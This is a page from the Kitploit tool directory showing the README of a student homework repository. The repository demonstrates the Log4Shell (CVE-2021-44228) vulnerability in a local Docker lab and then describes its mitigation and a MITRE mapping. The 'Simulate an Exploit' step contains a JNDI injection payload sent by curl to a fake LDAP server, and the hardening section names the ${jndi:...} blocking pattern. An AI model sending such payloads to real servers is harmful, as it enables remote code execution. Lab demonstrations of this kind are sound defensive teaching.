Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
log4shell-homework9 — Log4Shell (CVE-2021-44228) exploit demo for SEAS 8405. Includes a vulnerable Spring Boot app, fake LDAP server, Docker setup, MITRE mapping, incident response, and a full screen recording. | Kitploit
Tools/GitHubGitHub/serpilrivas/log4shell-homework9
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationIncident ResponseLabs & Practice
GitHubserpilrivas/log4shell-homework9

log4shell-homework9

Log4Shell (CVE-2021-44228) exploit demo for SEAS 8405. Includes a vulnerable Spring Boot app, fake LDAP server, Docker setup, MITRE mapping, incident response, and a full screen recording.

View Repository
281 year agoNot yet reviewed
Share

Homework 9 – Securing Systems Against Log4Shell Exploits

Overview

This project demonstrates the exploitation and mitigation of the Log4Shell vulnerability (CVE-2021-44228) using a Dockerized Java web application with vulnerable Log4j 2.14.1. The setup also includes a simulated malicious LDAP server to demonstrate the JNDI injection attack path.

After exploitation, the system is hardened by upgrading Log4j, validating input, and applying MITRE D3FEND and ATT&CK recommendations.


Folder Structure

log4shell-homework9/
├── docker-compose.yml
├── Dockerfile
├── pom.xml
├── ldap_server.py
├── src/...
├── architecture_diagram.png
├── README.md
├── mitigation_report.pdf

How to Run

1. Build the Java App (with vulnerable Log4j)

docker build -t vulnerable-app .

2. Run the App with Docker Compose

docker-compose up

App will be running at:
http://localhost:8080

3. Start the Fake LDAP Server (in a new terminal)

python3 ldap_server.py

4. Simulate an Exploit

Send a request like this to the app:

curl http://localhost:8080?input=${jndi:ldap://localhost:8000/Exploit}

The LDAP server should receive the request (this simulates the JNDI exploit).


How It’s Hardened

After demonstrating the attack, the system was secured by:

  • Upgrading Log4j to version 2.17.0
  • Input validation (blocking ${jndi:...} patterns)
  • Disabling message lookups in configuration
  • Docker isolation to limit scope
  • MITRE D3FEND & ATT&CK techniques applied

MITRE Mapping

MITRE ATT&CK:

  • T1190: Exploit Public-Facing Application
  • T1210: Exploitation of Remote Services

MITRE D3FEND:

  • D3-IA: Input Validation
  • D3-HI: Host-based Intrusion Detection
  • D3-DA: Disable Unsafe Features

Report

See mitigation_report.pdf for:

  • System architecture before/after
  • Explanation of Log4Shell
  • Mitigation strategy
  • Incident response plan

Screen Recording

If the video is not uploaded directly, it is available at the link in the report.


Author

Serpil Rivas
SEAS 8405 – Cybersecurity Architectures
May 2025

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    546
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    477
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    377
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    324
  • 5

    estorides

    grisuno/estorides

    Aggregates 99+ free OSINT sources in parallel, resolves entities into a knowledge graph, and exports STIX 2.1, MISP, or GraphML with LLM-assisted analysis.

    269
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    252

Explore all tools

Browse our collection of tools

View all tools →